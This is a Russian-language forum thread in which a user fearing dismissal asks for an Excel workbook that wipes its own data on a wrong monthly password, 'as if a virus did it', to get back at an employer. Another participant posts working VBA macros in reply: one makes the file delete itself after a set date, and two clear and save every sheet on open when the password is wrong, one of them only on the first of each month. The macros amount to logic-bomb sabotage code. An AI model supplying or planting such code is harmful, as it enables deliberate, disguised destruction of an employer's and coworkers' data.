Задача такого плана!

[Dubineanschi]

Все мы работаем на крупных и не очень предприятий! Придумали за год, другой - отчеты, автоматизировали всю работу! Уходишь в отпуск, передаешь свой участок на месяц! Приходишь, и тебе заявляют, что вы уволены (много зарабатываешь)! И твоим умом пользуются во всю, а ты у разбитого корыта(ЛОХ)!
Может ли кто-то сделать или есть ексель-шаблон такого плана !
В течении месяца выходил запрос на идентификацию личности, введя неправильный пароль стереть все данные безвозвратно.
Бало-бы идеально стереть все данные, как будто это сделал вирус!

Лично мне скоро в отпуск, а с начальством у меня недопонимание!

--==Думаю этот шаблон будет у многих в арсенале!==-

[VictorM]

Да, задачка интересная и злободневная.
Один из аспектов этой задачи, файл удаляет сам себя, был как-то предложен на ЭТОМ форуме Pavel55
Точно не могу вспомнить тему, думаю можно найти поиском. Или Pavel55 сам подскажет.

[Konstantin_Z]

у меня немного иначе
автоматизировать то я автоматизировал, но без меня никто разобраться не может..

[Pavel55]

На самом деле это всё легко отключается.

Вот, как пример, макрос, который удалит файл, в котором находится, если текущая дата будет больше даты, указанной в этом коде

Private Sub ExpirationDate()
'ВНИМАНИЕ !!!!
'ТЕСТИРОВАТЬ НА НЕНУЖНОМ ФАЙЛЕ
'ФАЙЛ САМ УДАЛИТЬСЯ, ЕСЛИ ДАТА В КОДЕ БУДЕТ РАНЬШЕ, ЧЕМ СЕГОДНЯ
    If Date >= #10/1/2008# Then 'месяц/число/год
        iFullName$ = ActiveWorkbook.FullName
        Application.DisplayAlerts = False
        ActiveWorkbook.ChangeFileAccess Mode:=xlReadOnly
        Application.DisplayAlerts = True
        SetAttr iFullName$, vbNormal: Kill iFullName$
        ActiveWorkbook.Close saveChanges:=False
    End If
End Sub

Автор кода Pashulka

[Pavel55]

Вот ещё можно набросать такой кодик, который надо поместить в модуль ЭтаКнига (через Alt+F11), чтобы он запрашивал пароль каждый раз при открытии книги и если ввели неправильный пароль, то он удаляет всю информацию со всех листов в книге.

Ну. это так... баловство.

Private Sub Workbook_Open()
Dim Sht As Worksheet
Dim pswd As Variant
    pswd = Application.InputBox("Введите пароль", "Пароль", "пароль", , , , , 2)
    If pswd = False Or pswd = "" Then
        For Each Sht In ThisWorkbook.Sheets
            Sht.Cells.Clear
        Next
        Me.Save
        Exit Sub
    End If
    If UCase(pswd) <> UCase("секретный пароль") Then
        For Each Sht In ThisWorkbook.Sheets
            Sht.Cells.Clear
        Next
        Me.Save
        Exit Sub
    End If
End Sub

Можно, наверное, ещё что-нибудь накрутить )

[Dubineanschi]

Идея какая! Фаилом могут работать кто угодно, но через каждый месяц должен выходить окно с подтверждением пароля, если пароль неверный - все стереть(Нах)!

[Pavel55]

Вот для первого числа каждого месяца

Private Sub Workbook_Open()
Dim Sht As Worksheet
Dim pswd As Variant
    If Format(Date, "dd") = "01" Then
        pswd = Application.InputBox("Введите пароль", "Пароль", "пароль", , , , , 2)
        If pswd = False Or pswd = "" Then
            For Each Sht In ThisWorkbook.Sheets
                Sht.Cells.Clear
            Next
            Me.Save
            Exit Sub
        End If
        If UCase(pswd) <> UCase("секретный пароль") Then
            For Each Sht In ThisWorkbook.Sheets
                Sht.Cells.Clear
            Next
            Me.Save
            Exit Sub
        End If
    End If
End Sub